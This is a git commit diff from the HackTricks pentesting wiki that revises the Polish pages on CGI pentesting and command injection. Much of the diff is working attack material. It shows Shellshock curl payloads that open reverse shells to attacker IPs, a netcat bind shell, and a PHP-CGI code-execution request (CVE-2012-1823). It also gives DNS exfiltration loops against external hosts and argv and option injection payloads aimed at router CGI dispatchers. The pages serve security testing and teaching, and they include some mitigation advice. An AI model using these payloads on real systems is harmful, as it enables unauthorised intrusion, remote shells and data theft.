mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/command-injection.md', 'src/network-
This commit is contained in:
parent
287660150c
commit
44891026ba
@ -1,26 +1,30 @@
|
|||||||
|
# CGI Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
# Informacje
|
|
||||||
|
|
||||||
**Skrypty CGI to skrypty w Perl**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **przesłać powłokę odwrotną w Perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonywania** \(`chmod +x`\) i **uzyskać dostęp** do powłoki odwrotnej **z przeglądarki internetowej**, aby ją wykonać. Aby przetestować **vulnerabilities CGI**, zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\)
|
## Informacje
|
||||||
|
|
||||||
# **ShellShock**
|
The **CGI scripts are perl scripts**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **wgrać perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do reverse shella **z poziomu przeglądarki**, aby go uruchomić.
|
||||||
|
Aby testować **CGI vulns** zaleca się użycie `nikto -C all` \(and all the plugins\)
|
||||||
|
|
||||||
**ShellShock** to **vulnerability**, która dotyczy powszechnie używanej **powłoki Bash** w systemach operacyjnych opartych na Unixie. Skupia się na zdolności Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym na potencjalne przejęcie systemu.
|
## **ShellShock**
|
||||||
|
|
||||||
Wykorzystując tę wrażliwość, **strona może zgłosić błąd**.
|
**ShellShock** to luka bezpieczeństwa, która dotyczy szeroko używanej powłoki **Bash** w systemach operacyjnych opartych na Unix. Wykorzystuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób uruchamiania procesów w systemie. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala potencjalnie na przejęcie systemu.
|
||||||
|
|
||||||
Możesz **znaleźć** tę wrażliwość zauważając, że używa **starej wersji Apache** i **cgi_mod** \(z folderem cgi\) lub używając **nikto**.
|
Podczas eksploatacji tej luki strona może zwrócić błąd.
|
||||||
|
|
||||||
## **Test**
|
Możesz znaleźć tę lukę, zauważając, że używana jest stara wersja **Apache** i **cgi_mod** (z folderem cgi) lub używając **nikto**.
|
||||||
|
|
||||||
Większość testów polega na wywołaniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, przeszukaj wszystkie strony cgi i przetestuj je.
|
### **Test**
|
||||||
|
|
||||||
|
Większość testów polega na użyciu polecenia echo i oczekiwaniu, że zwrócony ciąg pojawi się w odpowiedzi web. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.
|
||||||
|
|
||||||
**Nmap**
|
**Nmap**
|
||||||
```bash
|
```bash
|
||||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||||
```
|
```
|
||||||
## **Curl \(odzwierciedlone, ślepe i poza pasmem\)**
|
## **Curl \(odbity, ślepy i poza pasmem\)**
|
||||||
```bash
|
```bash
|
||||||
# Reflected
|
# Reflected
|
||||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||||
@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
|
|||||||
```bash
|
```bash
|
||||||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||||||
```
|
```
|
||||||
## Wykorzystanie
|
### Exploit
|
||||||
```bash
|
```bash
|
||||||
#Bind Shell
|
#Bind Shell
|
||||||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||||||
@ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
|||||||
> set rhosts 10.1.2.11
|
> set rhosts 10.1.2.11
|
||||||
> run
|
> run
|
||||||
```
|
```
|
||||||
# **Proxy \(MitM do żądań serwera WWW\)**
|
## Scentralizowane dispatchery CGI (trasowanie do pojedynczego endpointu przez parametry selektora)
|
||||||
|
|
||||||
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu http. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"
|
Wiele wbudowanych interfejsów webowych multipleksuje dziesiątki uprzywilejowanych akcji za pojedynczym endpointem CGI (na przykład, `/cgi-bin/cstecgi.cgi`) i używa parametru selektora takiego jak `topicurl=<handler>`, aby przekierować żądanie do wewnętrznej funkcji.
|
||||||
|
|
||||||
Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.
|
Metodologia wykorzystania tych dispatcherów:
|
||||||
|
|
||||||
# Stary PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
- Wylicz nazwy handlerów: przeszukaj JS/HTML, wykonaj brute-force przy użyciu wordlists, albo rozpakuj firmware i grepuj w poszukiwaniu ciągów handlerów używanych przez dispatcher.
|
||||||
|
- Sprawdź dostępność bez uwierzytelnienia: niektóre handlery pomijają kontrole auth i są wywoływalne bezpośrednio.
|
||||||
|
- Skoncentruj się na handlerach, które wywołują narzędzia systemowe lub operują na plikach; słabe walidatory często blokują tylko kilka znaków i mogą pominąć wiodący minus `-`.
|
||||||
|
|
||||||
Zasadniczo, jeśli cgi jest aktywne, a php jest "stare" \(<5.3.12 / < 5.4.2\), możesz wykonać kod.
|
Ogólne wzorce exploitów:
|
||||||
Aby wykorzystać tę lukę, musisz uzyskać dostęp do niektórego pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\).
|
```http
|
||||||
Następnie, aby przetestować tę lukę, możesz uzyskać dostęp na przykład do `/index.php?-s` \(zauważ `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**.
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
Następnie, aby uzyskać **RCE**, możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **kod PHP** do wykonania w **treści żądania. Przykład:**
|
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
|
||||||
|
topicurl=<handler>¶m=-n
|
||||||
|
|
||||||
|
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
|
||||||
|
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||||
|
|
||||||
|
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||||
|
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||||
|
```
|
||||||
|
Wykrywanie i zabezpieczanie:
|
||||||
|
|
||||||
|
- Monitoruj nieautentyfikowane żądania do scentralizowanych CGI endpoints z `topicurl` ustawionym na wrażliwe handlers.
|
||||||
|
- Oznacz parametry zaczynające się od `-` (argv option injection attempts).
|
||||||
|
- Dostawcy: wymuszaj uwierzytelnianie na wszystkich state-changing handlers, waliduj używając ścisłych allowlists/types/lengths i nigdy nie przekazuj user-controlled strings jako command-line flags.
|
||||||
|
|
||||||
|
## Stare PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||||
|
|
||||||
|
W skrócie, jeśli cgi jest aktywne i php jest "stare" \(<5.3.12 / < 5.4.2\) możesz wykonać kod.
|
||||||
|
Aby wykorzystać tę podatność musisz uzyskać dostęp do jakiegoś pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\).
|
||||||
|
Aby przetestować tę podatność możesz np. uzyskać dostęp do `/index.php?-s` \(zwróć uwagę na `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**.
|
||||||
|
|
||||||
|
Następnie, aby uzyskać **RCE** możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` a **PHP code** do wykonania umieścić w **body of the request**.
|
||||||
|
Przykład:
|
||||||
```bash
|
```bash
|
||||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||||
```
|
```
|
||||||
**Więcej informacji o podatności i możliwych exploitach:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
**Więcej informacji o vuln i możliwych exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||||
|
|
||||||
|
## **Proxy \(MitM — dla żądań serwera WWW\)**
|
||||||
|
|
||||||
|
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" zostaje utworzony jako "HTTP_HOST"="web.com"
|
||||||
|
|
||||||
|
Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW, spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**". Jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wysyłane przez serwer.
|
||||||
|
|
||||||
|
## **Referencje**
|
||||||
|
|
||||||
|
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Co to jest command Injection?
|
## Czym jest command Injection?
|
||||||
|
|
||||||
A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i podlegającym jej systemem.
|
Atak **command injection** umożliwia wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W efekcie aplikacja i wszystkie jej dane mogą zostać całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem, na którym działa.
|
||||||
|
|
||||||
### Kontekst
|
### Kontekst
|
||||||
|
|
||||||
W zależności od tego, **gdzie wstrzykiwane jest twoje wejście**, może być konieczne **zamknięcie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami.
|
W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami.
|
||||||
|
|
||||||
## Command Injection/Execution
|
## Command Injection/Execution
|
||||||
```bash
|
```bash
|
||||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||||||
```
|
```
|
||||||
### **Ograniczenia** Bypasses
|
### **Ograniczenia** Bypasses
|
||||||
|
|
||||||
Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux** zainteresuje cię lektura o tych **Bypasses:**
|
Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura na temat tych **Bypasses:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||||||
```
|
```
|
||||||
### Parametry
|
### Parametry
|
||||||
|
|
||||||
Poniżej znajduje się lista 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
Poniżej znajduje się lista 25 najważniejszych parametrów, które mogą być podatne na code injection i podobne RCE vulnerabilities (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||||
```
|
```
|
||||||
?cmd={payload}
|
?cmd={payload}
|
||||||
?exec={payload}
|
?exec={payload}
|
||||||
@ -77,7 +77,7 @@ Poniżej znajduje się lista 25 parametrów, które mogą być podatne na code i
|
|||||||
```
|
```
|
||||||
### Time based data exfiltration
|
### Time based data exfiltration
|
||||||
|
|
||||||
Wyodrębnianie danych: znak po znaku
|
Wyodrębnianie danych: char by char
|
||||||
```
|
```
|
||||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
real 0m5.007s
|
real 0m5.007s
|
||||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
|||||||
```
|
```
|
||||||
### DNS based data exfiltration
|
### DNS based data exfiltration
|
||||||
|
|
||||||
Oparte na narzędziu z `https://github.com/HoLyVieR/dnsbin`, również hostowanym na dnsbin.zhack.ca
|
Opiera się na narzędziu z `https://github.com/HoLyVieR/dnsbin`, które jest również hostowane na dnsbin.zhack.ca
|
||||||
```
|
```
|
||||||
1. Go to http://dnsbin.zhack.ca/
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
2. Execute a simple 'ls'
|
2. Execute a simple 'ls'
|
||||||
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||||||
```
|
```
|
||||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||||
```
|
```
|
||||||
Narzędzia online do sprawdzania eksfiltracji danych przez DNS:
|
Narzędzia online do sprawdzania DNS based data exfiltration:
|
||||||
|
|
||||||
- dnsbin.zhack.ca
|
- dnsbin.zhack.ca
|
||||||
- pingb.in
|
- pingb.in
|
||||||
|
|
||||||
### Ominięcie filtrowania
|
### Omijanie filtrowania
|
||||||
|
|
||||||
#### Windows
|
#### Windows
|
||||||
```
|
```
|
||||||
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
|||||||
|
|
||||||
### Node.js `child_process.exec` vs `execFile`
|
### Node.js `child_process.exec` vs `execFile`
|
||||||
|
|
||||||
Podczas audytowania back-endów JavaScript/TypeScript często natkniesz się na Node.js `child_process` API.
|
Podczas audytu backendów JavaScript/TypeScript często natrafisz na API Node.js `child_process`.
|
||||||
```javascript
|
```javascript
|
||||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||||
const { exec } = require('child_process');
|
const { exec } = require('child_process');
|
||||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
|||||||
/* … */
|
/* … */
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
`exec()` spawns a **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) doprowadzi do **command injection**, gdy dane wejściowe użytkownika będą konkatenowane w stringu.
|
`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak mający specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w ciągu znaków.
|
||||||
|
|
||||||
**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany shell:
|
**Środki zaradcze:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i przekazuj **każdy argument jako oddzielny element tablicy**, aby żaden shell nie był zaangażowany:
|
||||||
```javascript
|
```javascript
|
||||||
const { execFile } = require('child_process');
|
const { execFile } = require('child_process');
|
||||||
execFile('/usr/bin/do-something', [
|
execFile('/usr/bin/do-something', [
|
||||||
@ -140,8 +140,37 @@ execFile('/usr/bin/do-something', [
|
|||||||
'--payload', JSON.stringify(payload)
|
'--payload', JSON.stringify(payload)
|
||||||
]);
|
]);
|
||||||
```
|
```
|
||||||
Przykład z realnego świata: *Synology Photos* ≤ 1.7.0-0794 było podatne na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później były osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024).
|
Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, a następnie były one osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024).
|
||||||
|
|
||||||
|
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||||
|
|
||||||
|
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
|
||||||
|
|
||||||
|
Typical places where this appears:
|
||||||
|
|
||||||
|
- Wbudowane web UIs/CGI handlers, które budują polecenia takie jak `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, itd.
|
||||||
|
- Scentralizowane CGI routers (np. `/cgi-bin/<something>.cgi` z parametrem selektora takim jak `topicurl=<handler>`), gdzie wiele handlerów ponownie używa tego samego słabego walidatora.
|
||||||
|
|
||||||
|
What to try:
|
||||||
|
|
||||||
|
- Podaj wartości zaczynające się od `-`/`--`, aby zostały potraktowane jako flagi przez narzędzie docelowe.
|
||||||
|
- Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład:
|
||||||
|
- `ping`: `-f`/`-c 100000` aby obciążyć urządzenie (DoS)
|
||||||
|
- `curl`: `-o /tmp/x` aby zapisać w dowolnej ścieżce, `-K <url>` aby załadować konfigurację kontrolowaną przez atakującego
|
||||||
|
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` aby uzyskać wykonanie po rotacji (post-rotate) w niebezpiecznych wrapperach
|
||||||
|
- Jeśli program obsługuje `--` jako koniec opcji, spróbuj obejść naiwną ochronę, która dopisuje `--` w niewłaściwym miejscu.
|
||||||
|
|
||||||
|
Generic PoC shapes against centralized CGI dispatchers:
|
||||||
|
```
|
||||||
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
# Flip options in a downstream tool via argv injection
|
||||||
|
topicurl=<handler>¶m=-n
|
||||||
|
|
||||||
|
# Unauthenticated RCE when a handler concatenates into a shell
|
||||||
|
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||||
|
```
|
||||||
## Lista wykrywania Brute-Force
|
## Lista wykrywania Brute-Force
|
||||||
|
|
||||||
|
|
||||||
@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
|||||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||||
|
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user